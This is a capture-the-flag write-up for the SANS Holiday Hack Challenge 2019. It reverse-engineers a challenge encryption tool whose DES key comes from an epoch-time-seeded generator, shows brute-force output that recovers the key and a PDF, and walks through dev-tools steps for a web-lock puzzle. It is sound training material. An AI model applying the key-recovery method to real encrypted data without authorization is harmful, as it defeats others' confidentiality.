loc_402733:
lea     edx, [ebp+key]
push    edx                ; buffer
call     ?generate_key@@YAXQAE@Z ; generate_key(uchar * const)
add     esp, 4
push    8                  ; length
lea     eax, [ebp+key]
push    eax                ; str
push    offset title       ; "Generated an encryption key"
call     ?print_hex@@YAXPADPAE@Z ; print_hex(char *,uchar *,uint)
add     esp, 0Ch
mov     [ebp+keyBlob.hdr.bType], 8
mov     [ebp+keyBlob.hdr.bVersion], 2
xor     ecx, ecx
mov     [ebp+keyBlob.hdr.reserved], cx
mov     [ebp+keyBlob.hdr.aiKeyAlg], 6601h
mov     [ebp+keyBlob.dwKeySize], 8
mov     edx, dword ptr [ebp+key]
mov     dword ptr [ebp+keyBlob.rgbKeyData], edx
mov     eax, dword ptr [ebp+key+4]
mov     dword ptr [ebp+keyBlob.rgbKeyData+4], eax
lea     ecx, [ebp+hKey]
push    ecx                ; phKey
push    1                  ; dwFlags
push    0                  ; hPubKey
push    14h                ; dwDataLen
lea     edx, [ebp+keyBlob]
push    edx                ; pbData
mov     eax, [ebp+hProv]
push    eax                ; hProv
call     ds: __imp__CryptImportKey@24 ; CryptImportKey(x,x,x,x,x,x)
test     eax, eax
jnz      short loc_4027A3
```

Following the right branch, where execution continues if no error occurred, we see two interesting calls: one to `generate_key()` and another to `CryptImportKey()`.

```

0277D      push     ecx                ; phKey
0277E      push     1                  ; dwFlags
02780      push     0                  ; hPubKey
02782      push     14h                ; dwDataLen
02784      lea      edx, [ebp+keyBlob]
02787      push     edx                ; pbData
02788      mov      eax, [ebp+hProv]
0278B      push     eax                ; hProv
0278C      call     ds: __imp__CryptImportKey@24 ; CryptImportKey(x,x,x,x,x,x)

```

The `CryptImportKey()` function call (also deprecated) and its parameters are defined by Microsoft in the following link:
<https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptimportkey>

As we inspect certain variables and error messages, there are clues that indicate that DES is the cipher in use:

```

02784      lea      edx, [ebp+keyBlob]
02787      push     edx                ; pbData
02788      mov      eax, [ebp+hProv]
0278B      push     eax
0278C      call     ds: __imp__CryptImportKey@24 ; CryptImportKey(x,x,x,x,x,x)
02792      test     eax, eax
02794      jnz      short loc_4027A3
02796      push     offset aCryptImportKey ; "CryptImportKey failed for DES-CBC key"
02798      call     ?fatal_error@@YAXP@ ; fatal_error(char *)
0279B      ;
00001B71 00402771: do_encrypt(int, char *, char *)+A1

```

-00000030 ; Use data definition commands to create local variables and function arguments.
 -00000030 ; Two special fields "r" and "s" represent return address and saved registers.
 -00000030 ; Frame size: 30; Saved regs: 4; Purge: 0
 -00000030 ;
 -00000030 ;
 -00000030 data dd ? ; offset
 -0000002C keyBlob DESKEYBLOB ?
 -00000018 key db 8 dup(?)
 -00000010 var_10 dd ?

Continuing down the `do_encrypt()` function, another clue that DES is being used and in **CBC (Cipher Block Chaining)** mode:

```

call     ds: __imp__CryptImportKey@24 ; CryptImportKey(x,x,x,x,x,x)
test     eax, eax
jnz      short loc_4027A3

```

```

push     offset aCryptImportKey ; "CryptImportKey failed for DES-CBC key"
call     ?fatal_error@@YAXP@ ; fatal_error(char *)

```

```


loc_4027A3:
mov      ecx, [ebp+data_len]
add      ecx, 8
push     ecx                ; dwBufLen
lea      edx, [ebp+data_len]
push     edx                ; pdwDataLen
mov      eax, [ebp+data]
push     eax                ; pbData
push     0                  ; dwFlags
push     1                  ; Final
push     0                  ; hHash
mov      ecx, [ebp+hKey]
push     ecx                ; hKey
call     ds: __imp__CryptEncrypt@28 ; CryptEncrypt(x,x,x,x,x,x,x)
test     eax, eax
jnz      short loc_4027DB

```

Following the right branch, where execution continues if no error occurred, we see one last interesting call to `CryptEncrypt()`.

The `CryptEncrypt()` function call (also deprecated) and its parameters are defined by Microsoft in the following link:
<https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptencrypt>


Now going back to the `generate_key()` function we saw earlier; this is where the DES encryption key is generated:



Here there are two very interesting functions being called inside of `generate_key()`:

- `time()` function
- `super_secure_srand()` function

The `time()` function shown here below calls `_time64()` which returns the number of seconds elapsed since midnight, January 1, 1970 (aka. Epoch time) and stores that value in register `eax` as a return value to `generate_key()`:



Then right after calling the `time()` function, `generate_key()` does a `push eax` (which is the epoch time) as a parameter to pass to the `super_secure_srand()` function. Notice that this time value becomes the **seed** value for `super_secure_srand()`. That means that the current Epoch time when the `elfcrow.exe` was run is the seed value for the `super_secure_srand()` function!

Now let's take a look at what `super_secure_srand()` does with the seed value:


```
; Attributes: bp-based frame

; void __cdecl super_secure_srand(int seed)
?super_secure_srand@@YAHX@Z proc near

seed= dword ptr 8

push    ebp
mov     ebp, esp
mov     eax, [ebp+seed]
push    eax
push    offset aSeedD ; "Seed = %d\n\n"
call    ds:imp__iofunc
add     eax, 40h
push    eax ; File
call    ds:imp__fprintf
add     esp, 0Ch
mov     ecx, [ebp+seed]
mov     state, ecx
pop     ebp
retn
?super_secure_srand@@YAHX@Z endp
```

It prints the seed value and then stores it in a variable called `state` (will be referenced later), then returns to `generate_key()` to continue execution falling through to this loop:



This loop will iterate 8 times, calling another function `super_secure_random()` and performing some post calculations on each iteration of the loop. Let's see the code for `super_secure_random()` and the loop body code snippet from above.

Having both side by side will complete the picture of what this code does:

```
call    ?super_secure_random@@YAHXZ ; super_secure_random(void)
movzx   ecx, al
and     ecx, 0FFh
mov     edx, [ebp+buffer]
add     edx, [ebp+i]
mov     [edx], cl
jmp     short loc_401E28
```

```
; Attributes: bp-based frame
; int __cdecl super_secure_random()
?super_secure_random@@YAHXZ proc near
push    ebp
mov     ebp, esp
mov     eax, state
imul    eax, 343FDh
add     eax, 269EC3h
mov     state, eax
mov     eax, state
sar     eax, 10h
and     eax, 7FFFh
pop     ebp
retn
?super_secure_random@@YAHXZ endp
```

If we follow the logic of these two blocks starting with the left block, the sequence looks like this:

1. Call `super_secure_random()` -> control passes to the right code block.

In `super_secure_random()`

2. Ignore "push ebp" and "mov ebp, esp" as these are part of the CDECL function prologue to prepare the stack
3. "mov eax, state" - place state value in `eax` (this was set in `super_secure_srand()` - initially is the Epoch time seed.)

For the first iteration of the loop - `eax` now contains the Epoch time seed value

For subsequent iterations - `eax` will contain the previous loop iteration state value from step 6

4. "imul eax, 343FDh" - multiply the value in `eax` with 0x0343FD (214013 int) and store the result in `eax`
5. "add eax, 269EC3h" - add the value in `eax` to 0x269EC3 (2531011 int) and store the result in `eax`
6. "mov state, eax" - store current value of `eax` in the `state` variable (this becomes the new state for next iteration)
7. "mov eax, state" - copy the same value from `state` back into `eax`
8. "sar eax, 10h" - do a bitwise shift right on the value of `eax` for 10h (16 int) number of bits
9. "and eax, 7FFFh" - do a bitwise AND on the 2 low order bytes of `eax` with 7FFFh (0111 1111 1111 1111 binary)
10. "pop ebp" and "retn" to prepare the stack and return to the 2nd line in the left block

Back in `generate_key()`


11. "movzx ecx, al" - move the low order byte (8 bits) of `eax` (`al`) to `ecx`
12. "and ecx, 0FFh" - do a bitwise AND on the low order byte of `ecx` with 0FFh (0000 0000 1111 1111 binary)

At this step, we have **1 byte of the actual encryption key** in the low order byte of `ecx` and the next three instructions will store that byte in a memory buffer which will expand byte-by-byte to build the encryption key as we iterate through this loop a total of 8 times.


13. "mov edx, [ebp+buffer]", "add edx, [ebp+i]", "mov [edx], cl" - store low order byte `cl` into the buffer location at index `i`
14. "jmp short loc_401E28" - this goes to the instructions that increment the loop counter by 1, do the compare if we've reached 8 iterations, and if not loop again otherwise exit the loop.

We can follow this same execution flow in Immunity Debugger to verify with an actual run of `elfcrow.exe` with actual values that we're analyzing this correctly.

We can start Immunity Debugger and launch the `elfcrow.exe` process with some command line parameters to encrypt a test file:



Once running, we can see the executable is loaded into memory:



We find the locations of `super_secure_srand()` and further down generate `key()`, where we can set some breakpoints.

```


00031D8C CC INT3
00031D8D CC INT3
00031D8E CC INT3
00031D90 55 PUSH EBP
00031D91 8BEC MOV EBP,ESP
00031D93 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00031D96 50 PUSH EAX
00031D97 68 E8420300 PUSH elfscrow.000342E8 ASCII "Seed = %u"
00031D9C FF15 CC400300 CALL DWORD PTR DS:[<&MSUCR90.__iob_func MSUCR90.__p_iob
00031DA2 83C0 40 ADD EAX,40
00031DA5 50 PUSH EAX
00031DA6 FF15 C8400300 CALL DWORD PTR DS:[<&MSUCR90.fprintf>] stream
00031DAF 83C4 0C ADD ESP,0C fprintf
00031DB2 8B40 08 MOV ECX,DWORD PTR SS:[EBP+8]
00031DB2 890D 2C400300 MOV DWORD PTR DS:[3602C],ECX
00031DB8 5D POP EBP
00031DB9 C3 RETN
00031DBA CC INT3
00031DBB CC INT3
00031DBC CC INT3
00031DBD CC INT3
00031DBE CC INT3
00031DBF CC INT3
00031DC0 55 PUSH EBP
00031DC1 8BEC MOV EBP,ESP
00031DC3 A1 2C600300 MOV EAX,DWORD PTR DS:[3602C]
00031DC8 69C0 FD430300 IMUL EAX,EAX,elfscrow.000343FD ASCII "internetSetOption failed"
00031DCB 05 C9E26000 ADD EAX,269EC3
00031DD3 A3 2C600300 MOV DWORD PTR DS:[3602C],EAX
00031DD8 A1 2C600300 MOV EAX,DWORD PTR DS:[3602C]
00031DD0 C1F8 10 SAR EAX,10
00031DE0 25 FF7F0000 AND EAX,7FFF
00031DE5 5D POP EBP
00031DE6 C3 RETN
00031DE7 CC INT3
00031DE8 CC INT3
00031DE9 CC INT3
00031DEA CC INT3
00031DEB CC INT3
00031DEC CC INT3
00031DED CC INT3
00031DEE CC INT3
00031DEF CC INT3
00031DF0 55 PUSH EBP
00031DF1 8BEC MOV EBP,ESP
00031DF3 51 PUSH ECX
00031DF4 68 10430300 PUSH elfscrow.00034310 ASCII "Our miniature elves are putting together random bits for your secret key!"
00031DF9 FF15 CC400300 CALL DWORD PTR DS:[<&MSUCR90.__iob_func MSUCR90.__p_iob
00031DFF 83C0 40 ADD EAX,40
00031E02 50 PUSH EAX
00031E03 FF15 C8400300 CALL DWORD PTR DS:[<&MSUCR90.fprintf>] stream
00031E09 83C4 08 ADD ESP,8 fprintf
00031E0C 05 00000000 ADD EAX,0
00031E0E C8 40000000 CALL elfscrow.00031E60 Arg1 = 00000000
00031E13 83C4 04 ADD ESP,4 elfscrow.011D1E60
00031E16 50 PUSH EAX
00031E17 C8 74FFFFF CALL elfscrow.00031D90 Arg1 elfscrow.011D1D90
00031E1C 83C4 04 ADD ESP,4
00031E1F C745 FC 00000 MOV DWORD PTR SS:[EBP-4],0
00031E26 EB 09 JMP SHORT elfscrow.00031E31
00031E28 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
00031E29 83C0 01 ADD EAX,1
00031E2E 8B45 FC MOV DWORD PTR SS:[EBP-4],EAX
00031E31 837D FC 08 CMP DWORD PTR SS:[EBP-4],8
00031E35 73 18 JNB SHORT elfscrow.00031E4F
00031E37 E8 84FFFFF CALL elfscrow.00031DC0
00031E3C 0FB6C8 MOVZX ECX,AL
00031E3F 81E1 FF00000 AND ECX,0FF
00031E45 8B55 08 MOV EDI,DWORD PTR SS:[EBP+8]
00031E48 8B55 FC MOV EDI,DWORD PTR SS:[EBP-4]
00031E4B 8B0A MOV BYTE PTR DS:[EDI],CL
00031E4D EB D9 JMP SHORT elfscrow.00031E28
00031E4F 8BE5 MOV ESP,EBP
00031E51 5D POP EBP
00031E52 C3 RETN
00031E53 CC INT3
00031E54 CC INT3
00031E55 CC INT3

```


By placing a breakpoint right after the call to `_time64()`, we can validate the value that the `time()` function (shown below) generates is an Epoch time value and that it stores it in `eax` so it can be picked up as the seed value by `super_secure_srand()`

<pre> 01351E5F CC INT3 01351E60 55 PUSH EBP 01351E61 8BEC MOV EBP,ESP 01351E63 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 01351E66 50 PUSH EAX 01351E67 FF15 DC403501 CALL DWORD PTR DS:[<&MSUCR90._time64>] MSUCR90._time64 01351E6D 83C4 04 ADD ESP,4 01351E70 5D POP EBP 01351E71 C3 RETN 01351E72 CC INT3 01351E73 CC INT3 </pre>	Registers (FPU) EAX 5E0B94EF ECX 00000000 EDX 00000000 EBX 00000000 ESP 0024FD48 EBP 0024FD4C ESI 00000001 EDI 0135638C elfscrow.0135638C EIP 01351E6D elfscrow.01351E6D
---	--


We see that value 0x5E0B94EF was stored in `eax` and doing the conversion to decimal int, it is Epoch time 1577817327.



Continuing execution, back in `generate_key()`, we can see that this current Epoch time becomes the initial seed value for the `super_secure_rand()` function, saved to `state`, and then this initial seed subsequently ends up in `super_secure_random()` (shown below) when it's copied back from `state` into `eax` in the initial iteration of the loop.



This screen below shows the step in `super_secure_random()` where the current value in `eax` is saved off to the `state` variable, which will be used in the next iteration of the loop. You can see in the Dump view in the lower left window the `state` buffer address (0x0135602C) and the value it stores (in little endian) to right of it "F6 5B 60 B8" which matches what's currently in `eax`:



01351E28	> 8B45 FC	MOV EAX,DWORD PTR SS:[EBP-4]
01351E2B	. 83C0 01	ADD EAX,1
01351E2E	. 8945 FC	MOV DWORD PTR SS:[EBP-4],EAX
01351E31	> 837D FC 08	CMP DWORD PTR SS:[EBP-4],8
01351E35	. 73 18	JNB SHORT elfscrow.01351E4F
01351E37	. E8 84FFFFFF	CALL elfscrow.01351DC0
01351E3C	. 0FB6C8	MOVZX ECX,AL
01351E3F	. 81E1 FF000000	AND ECX,0FF
01351E45	. 8B55 08	MOV EDX,DWORD PTR SS:[EBP+8]
01351E48	. 0355 FC	ADD EDX,DWORD PTR SS:[EBP-4]
01351E4B	. 880A	MOV BYTE PTR DS:[EDX],CL
01351E4D	. ^EB D9	JMP SHORT elfscrow.01351E28

In this screen above we're back in `generate_key()` and the code that called `super_secure_random()` is at address 01351E37.

Let's walk through the next five instructions step by step and they mirror Steps 11-13 in the walkthrough we did earlier with IDA. Upon returning from the `super_secure_random()` call, execution continues at address 01351E3C:

```
MOVZX ECX,AL
```

This is equivalent to Step 11 from the IDA walkthrough - "move the low order byte (8 bits) of eax (al) to ecx"

Then execution continues at the next address 01351E3F:

```
AND ECX,0FF
```

This is equivalent to Step 12 from the IDA walkthrough - "do a bitwise AND on the low order byte of ecx with 0FFh (0000 0000 1111 1111 binary)"

When we reach the next instruction at address 01351E45, we now have in CL (low order byte of ecx) a byte of our encryption key!

```
MOV EDX,DWORD PTR SS:[EBP+8]
```

This instruction loads the address of the key buffer from the stack into EDX.

Then execution continues at the next address 01351E48:

```
ADD EDX,DWORD PTR SS:[EBP-4]
```

This instruction increments the address pointer stored in EDX with a counter value stored on the stack, so we can store the next byte in the key in the next buffer location.

Then execution continues at the next address 01351E4B:

```
MOV BYTE PTR DS:[EDX],CL
```

This instruction will take the key byte in CL and store it in memory address contained in EDX.

The above code also shows the `CMP` instruction at address 01351E31 which controls the number of times the loop executes, which is 8 because it ultimately generates an 8-byte encryption key, byte-by-byte. (indicating a DES key).

It is very helpful to setup breakpoints as shown in the screens above and to step through instruction by instruction in the debugger while the `generate_key()` and `super_secure_random()` logic progresses to see what's happening at each step.

Having gone through all the analysis thus far, we now know:

1. The encryption algorithm used, which is DES-CBC
2. The exact logic of how to generate the key
3. The fact that the seed value is a predictable value based on the current Epoch time the program was run
4. A discrete time range when the encrypted pdf was encrypted: (December 6, 2019, between 7pm and 9pm UTC)

It is now possible to model this logic in a Python program which will read in the ciphertext from the encrypted document, and attempt to bruteforce the encryption key until a readable and expected plaintext is produced. Since in our case the encrypted document was a pdf file, there are known plaintext magic bytes at the start of every pdf file we can compare against.

My Python program called `elfscrow_crack.py` implements the DES algorithm including CBC mode using the `pycrypto` library (`python3 -m pip install pycrypto`). I also created a helper program called `get_epoch_time.py` that will calculate the Epoch time given a year, month, day, hour, minute, seconds input. The full source for both are in the Appendix of this report or at <https://github.com/deckerXL/SANSHolidayHackChallenge2019>. See here is the run output of each and the recovery of the plaintext pdf from the provided encrypted pdf:

```
~/working# python3 ./get_epoch_time.py --year=2019 --month=12 --day=06 --hour=19
--minutes=00 --seconds=00
Unix Epoch UTC timestamp for 12/06/2019 19:00:00 = 1575658800
~/working#
~/working# python3 ./get_epoch_time.py --year=2019 --month=12 --day=06 --hour=21
--minutes=00 --seconds=00
Unix Epoch UTC timestamp for 12/06/2019 21:00:00 = 1575666000
~/working#
~/working# python3 ./elfscrow_crack.py --epoch_start=1575658800 --epoch_end=15756
66000 --encrypted_file=./ElfUResearchLabsSuperSled0MaticQuickStartGuideV1.2.pdf.enc --plaintext
t_file=./ElfUResearchLabsSuperSled0MaticQuickStartGuideV1.2.pdf --magicbyte_sentinel=PDF
Seed:1575658800 -- Key: d7c21b323c209f0f -- Bytes: [b'\xde\x81\xce\xdc2t<']
Seed:1575658801 -- Key: dabfe3318676c8a0 -- Bytes: [b'\xd7\xbd\xcb\x19\xea\x12\xe7']
Seed:1575658802 -- Key: ddbbab31d1cdf030 -- Bytes: [b'\xc04'1\x94\x9fN\x94']
Seed:1575658803 -- Key: elb873301b2418c1 -- Bytes: [b'\x10\x9d\x82\n\x1e\x9a)\xf7']
Seed:1575658804 -- Key: e4b43b2f667b4152 -- Bytes: [b'\x14k\xd7[a\xe6\xbb+']
Seed:1575658805 -- Key: e7b0042eb1d169e2 -- Bytes: [b'\x08\x87\xbbE\x16\x89%']
Seed:1575658806 -- Key: ebadcc2efb289273 -- Bytes: [b'\x8f\x9b\xe6G\xcd"\x84']
Seed:1575658807 -- Key: eea9942d467fba04 -- Bytes: [b'y\xcc0\xfb\xfb\xad\x04\x876']
Seed:1575658808 -- Key: fla65c2c90d6e395 -- Bytes: [b'\x13=\x93\xac\xfa\x8c\x19\x17']
Seed:1575658809 -- Key: f4a2242c0b2c0b25 -- Bytes: [b'j\xedP\xfb\xaf\x1cw\xfb']
Seed:1575658810 -- Key: f89eec2b258334b6 -- Bytes: [b'dxK\x16R@WT']
Seed:1575658811 -- Key: fb9bb52a70da5c47 -- Bytes: [b'y\x1bm(\xef\xfa\xcd\xce']
Seed:1575658812 -- Key: fe977d2abb3085d8 -- Bytes: [b'\x98\xbb\x86\x83\x91>\x99y']
Seed:1575658813 -- Key: 019445290587ad68 -- Bytes: [b'\x9c\xb1H\x83\xfa1F\x16 ']
Seed:1575658814 -- Key: 05900d2850ded5f9 -- Bytes: [b'\xaaat\xe3_*\x00\xda']
Seed:1575658815 -- Key: 088cd5289a35fe8a -- Bytes: [b'\x94\xac\xfc\x9e"\x93\x7f\x83']
Seed:1575658816 -- Key: 0b899d27e58b261a -- Bytes: [b'>\x91"\x8f\xcc0\x9a\xfb7']
Seed:1575658817 -- Key: 0e85662630e24fab -- Bytes: [b'\xa2\x98\xe8\xa7)v\x0e']
```


```
...
Seed:1575663612 -- Key: 3936b44c0060f970 -- Bytes: [b'\xf6l\xa8\xb4\xe0R\x97']
Seed:1575663613 -- Key: 3c327c4b4ab72201 -- Bytes: [b'\xd2\x1f6\xcem\xfa9\xaaax']
Seed:1575663614 -- Key: 3f2f444a950d4a92 -- Bytes: [b'K\xa4\xc8\xbb:!/B']
Seed:1575663615 -- Key: 432b0c4ae0647322 -- Bytes: [b'9\r\x16\xea\x9e\x83\xe9']
Seed:1575663616 -- Key: 4628d4492abb9bb3 -- Bytes: [b'\xbe\x05b"R\x14b\x85']
Seed:1575663617 -- Key: 49249d487512c444 -- Bytes: [b'\xc0\x81F\x85u\xddD']
Seed:1575663618 -- Key: 4c206547bf68ecd4 -- Bytes: [b'9s\xe3\x0a\xda9\x88{']
Seed:1575663619 -- Key: 501d2d470abf1565 -- Bytes: [b'>R\xeeZ\x86\x8d6']
Seed:1575663620 -- Key: 5319f54654163df6 -- Bytes: [b'\xfe0\x86\x11d96b']
Seed:1575663621 -- Key: 5616bd459f6c6587 -- Bytes: [b'\xe3^\xe0\x9eS\xba*\xa7']
Seed:1575663622 -- Key: 5a128545eac38e17 -- Bytes: [b'*\xb8\xbd\x81'\xbfu']
Seed:1575663623 -- Key: 5d0e4e44341ab6a8 -- Bytes: [b']\xe2t,\x18\x8d5\x8f\x83']
Seed:1575663624 -- Key: 600b16437f71df39 -- Bytes: [b'5\x91\x83\x99j\xa4\x8d\xe0']
Seed:1575663625 -- Key: 6307de43c9c707c9 -- Bytes: [b'\x1f\xca\x87\x1d\x88\x14<']
Seed:1575663626 -- Key: 6704a642141e305a -- Bytes: [b'\xc4\x1d\x82M\x89p\x8d\x85']
Seed:1575663627 -- Key: 6a006e415e7558eb -- Bytes: [b'n\x87f7\x076y3'n\xa4']
Seed:1575663628 -- Key: 6dfc3741a9cc817c -- Bytes: [b'\x86\xa6a-u\x8b8\x87f']
Seed:1575663629 -- Key: 70f9ff40f422a90c -- Bytes: [b'\xde\xae\r\x82ya\x18\xad']
Seed:1575663630 -- Key: 74f5c73f3e79d19d -- Bytes: [b'\x06$3\r\xcdy\x19\xf6']
Seed:1575663631 -- Key: 77f28f3f89d0fa2e -- Bytes: [b'\x91\xbe\x8d\x88\x86\xef\x8d\x9e']
Seed:1575663632 -- Key: 7aee573ed32622bf -- Bytes: [b'\x03H\xfb\xad0\x8b4lr']
Seed:1575663633 -- Key: 7dea1f3d1e7d4b4f -- Bytes: [b'\xf0\x9eT\x8f58b\xa3!']
Seed:1575663634 -- Key: 81e7e83c68d473e0 -- Bytes: [b',r\x80\x9d\x8d5\x0b-(']
Seed:1575663635 -- Key: 84e3b03cb32b9c71 -- Bytes: [b'\xf1\x86\xdd0\x81\xde\xdd!']
Seed:1575663636 -- Key: 87e0783bfe81c401 -- Bytes: [b'X\x08\x01\x8d\xef\x8d7\x87\x8e']
Seed:1575663637 -- Key: 8bdc403a48d8ed92 -- Bytes: [b'\xcb\x1c\x18'\xf9\x8b\x9f\x17']
Seed:1575663638 -- Key: 8ed8083a932f1523 -- Bytes: [b',\xab\x8b\xa7\xad'\x8e\xfd']
Seed:1575663639 -- Key: 91d5d039dd863eb4 -- Bytes: [b'ska/\x8d\x8e\x85']
Seed:1575663640 -- Key: 94d1993828dc6644 -- Bytes: [b'\xe4\x01\xcc\x80Qw\x8b2']
Seed:1575663641 -- Key: 98ce613873338ed5 -- Bytes: [b'c\x81\x91-\xf3\x8d\x8b4']
Seed:1575663642 -- Key: 9bca2937bd8ab766 -- Bytes: [b'E\x1f\xfc\x1e\x0e_\x17\x98']
Seed:1575663643 -- Key: 9ec6f13608e1dff7 -- Bytes: [b'\xba\x80'5\x84\x8c\x8f')']
Seed:1575663644 -- Key: a1c3b93652370887 -- Bytes: [b'\x95\x0b\x974\x13\x8b0\x97\x83']
Seed:1575663645 -- Key: a5bf81359d8e3018 -- Bytes: [b'\x88\xa2Mr4H\x8f\x87']
Seed:1575663646 -- Key: a8bc4a34e7e559a9 -- Bytes: [b'\xc9 \xf7\x0b5\x04\x85Y']
Seed:1575663647 -- Key: abb81234323b8139 -- Bytes: [b'\x86?CS\x98\x84\x85\x8b6']
Seed:1575663648 -- Key: aeb5da337d92aaca -- Bytes: [b'\xda'\x84\x85\xfb(wM']
Seed:1575663649 -- Key: b2b1a232c7e9d25b -- Bytes: [b'C2\xa5">\x8d\x86y']
Seed:1575663650 -- Key: b5ad6a321240fbec -- Bytes: [b'%PDF-1.3']
```

FOUND IT! - Seed:1575663650 -- Key: b5ad6a321240fbec -- Bytes: [b'%PDF-1.3']

Writing plaintext output [./ElfUResearchLabsSuperSled0MaticQuickStartGuideV1.2.pdf]

FOUND IT! - Seed:1575663650 -- Key: b5ad6a321240fbec -- Bytes: [b'%PDF-1.3']

Opening the decrypted pdf file shows the following:



The answer to Objective 10 needed for the badge question is the string: **Machine Learning Sleigh Route Finder**

✓ 10) Recover Cleartext Document

Difficulty: ★★★★★

The [Elfscrow Crypto](#) tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have [debug symbols](#) that you can use.

Recover the plaintext content for this [encrypted document](#). We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Machine Learning Sleight Route Finder

Submit

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Difficulty: ★★★★★

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What is the middle line on the cover page? (Hint: it's five words)

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Congratulations! You have completed the Recover Cleartext Document challenge!

Objective 11 – Open the Sleigh Shop Door

For this Objective, the summary given in the badge directs you to speak to Shinny Upatree in the Student Union, where he tells us:

Shinny Upatree:

Psst - hey!

I'm Shinny Upatree, and I know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privy to some serious, high-level intel.


In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into [my crate](#), here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

The crate site (<https://crate.elfu.org/>) is a web challenge that displays a virtual crate with 10 digital locks. Each lock has a challenge question which leads to an 8-character code that unlocks each lock. The answers to each lock are found by examining the DOM using the built-in browser developer tools accessed via F12 in the browser. Note that all codes are recalculated on every visit or refresh of the page, so refreshing the page will force you to start over. I found this challenge to be slightly more straightforward to solve in Firefox vs. Chrome, so below will be the solutions based on Firefox and its built-in developer tools. All locks need the developer tools pane open, so press F12 and leave it up for the duration of this Objective and it should look like this for Firefox:



When you find a code, just click in the lock display window, type it in (must be 8-characters), and press UNLOCK button

LOCK #1:

Question:


*I locked the crate with the villain's name inside. Can you get it out?
You don't need a clever riddle to open the console and scroll a little.*

Holiday Hack Trail Hint (HARD Mode):

"1 - When I'm down, my F12 key consoles me"

Solution:

1. Console tab - scroll up to the top and you will see the code in a green block.



LOCK #2:

Question:


Some codes are hard to spy, perhaps they'll show up on pulp with dye?

Holiday Hack Trail Hint (HARD Mode):

"2 - Reminds me of the transition to the paperless naughty/nice list..."

Solution:

1. Inspector tab - scroll to the list item `` tag for the "c2-text instructions"
2. You will find it in the `<div class="libra">` section



LOCK #3:

Question:


This code is still unknown; it was fetched but never shown.

Holiday Hack Trail Hint (HARD Mode):

"3 - Like a present stuck in the chimney! It got sent..."

Solution:

1. Network tab - hover over the png file shown in the list or right click to view



LOCK #4:

Question:


Where might we keep the things we forage? Yes, of course: Local barrels!

Holiday Hack Trail Hint (HARD Mode):

"4 - We keep that next to the cookie jar"

Solution:

1. Storage tab - under "local Storage"
2. Key/value pair will be shown and it's in the value field



LOCK #5:

Question:


Did you notice the code in the title? It may very well prove vital.

Holiday Hack Trail Hint (HARD Mode):

"5 - My title is toy maker the combination is 12345"

Solution:

1. Inspector tab - expand the "head" and then "title" section



LOCK #6:

Question:


In order for this hologram to be effective, it may be necessary to increase your perspective.

Holiday Hack Trail Hint (HARD Mode):

"6 - Are we making hologram elf trading cards this year?"

Solution:

1. Inspector tab
2. Scroll down to the list item for the instructions for this lock
3. Right click on this list item and "Expand All"
4. Find the div subsection for "sticker"
5. Then find the div subsection for "hologram"
6. Look to the right in "Filter Styles" window and for hologram you should see a "perspective" field with value "15px"
7. Change the "15px" to something between "7200px" and "7800px" to get the letters to line up in the proper order in the sticker image
8. Use that order to enter the code



LOCK #7:

Question:


The font you're seeing is pretty slick, but this lock's code was my first pick.

Holiday Hack Trail Hint (HARD Mode):

"7 - If we are, we should have a few fonts to choose from"

Solution:

1. Go to the "Style Editor" tab
2. Scroll down to the "inline style sheet #4" entry at the bottom of the list
3. The font-family will show the code



LOCK #8:

Question:


In the event that the .eggs go bad, you must figure out who will be sad.

Holiday Hack Trail Hint (HARD Mode):

"8 - The parents of spoiled kids go on the naughty list..."

Solution:

1. Inspector tab - search for ".eggs"
2. Click on the "event" associated with the ".eggs" span class
3. Click to expand the event window



Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: **VERONICA**

LOCK #9:

Question:


This next code will be unredacted, but only when all the chakras are :active.

Holiday Hack Trail Hint (HARD Mode):

"9 - Some toys have to be forced active"

Solution:

1. Style Editor tab - select the large css with 62 rules
2. Click in right windows, Ctrl-F and search for "chakra"
3. Scroll down to the "nth-child" ":active:after" entries
4. The "content:" entries will show the order to enter the code, top-down.



LOCK #10:

Question:

Oh, no! This lock's out of commission! Pop off the cover and locate what's missing.

Holiday Hack Trail Hint (HARD Mode):


"10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!"

Solution:

1. Inspector tab
2. Scroll down to the last list item `` tag containing `<div class="lock c10">` and expand it
3. Click on the "`<div class="cover">`" tag and press the delete key to delete this div class
4. Now the image of the lock should change to reveal the circuit board like this below:




5. Look at the lower right corner of the circuit board and printed there vertically in small print is the code




Note: Lock #8 and #10 are the only locks where the code is always the same after a page refresh: **KD29XJ37**


6. Enter this code in the lock and press the switch button which looks like a small button in the lower center of the exposed circuit board.
7. However, nothing happens and the lock is still locked. To see why, you need to go to the Console tab. At the far right, unselect Warnings, Logs, Info, & Debug and make sure Errors is selected.
8. In the Console tab you should see an Error for "Missing macaroni!" like below:




9. Go back to the top of the Inspector HTML tab and right click on the "body" tag to "Expand All"
10. Search in the HTML search box for ".macaroni" and you will find a "<div class='component macaroni'" in lock 7's instruction list item




11. Click on this <div> class and drag it down to place it inside of lock 10's div class as shown below:




12. Now click on the switch again. You will see nothing happens again. Going again to the Console tab, you see another error appears now for "Missing cotton swab!"




13. In the Inspector tab search for ".swab", you'll find it inside of lock 6's hologram section.




Drag this <div> class down as before to lock 10:





14. If you click the switch nothing happens again and you'll get one final error for "Missing gnome!" in Console tab:



Once again, searching for ".gnome" in the Inspector tab, you'll find the <div> class in lock 2's section.



15. Drag it down as before to lock 10.



16. Now with all 3, macaroni, cotton swab and gnome showing on the circuit board image as shown above, now click the switch to unlock lock 10 and it immediately jumps to a new page to reveal the final note revealing the villain!



The answer to Objective 11 needed for the badge question is the string: **The Tooth Fairy**

✓ 11) Open the Sleigh Shop Door

Difficulty: ★★★★★

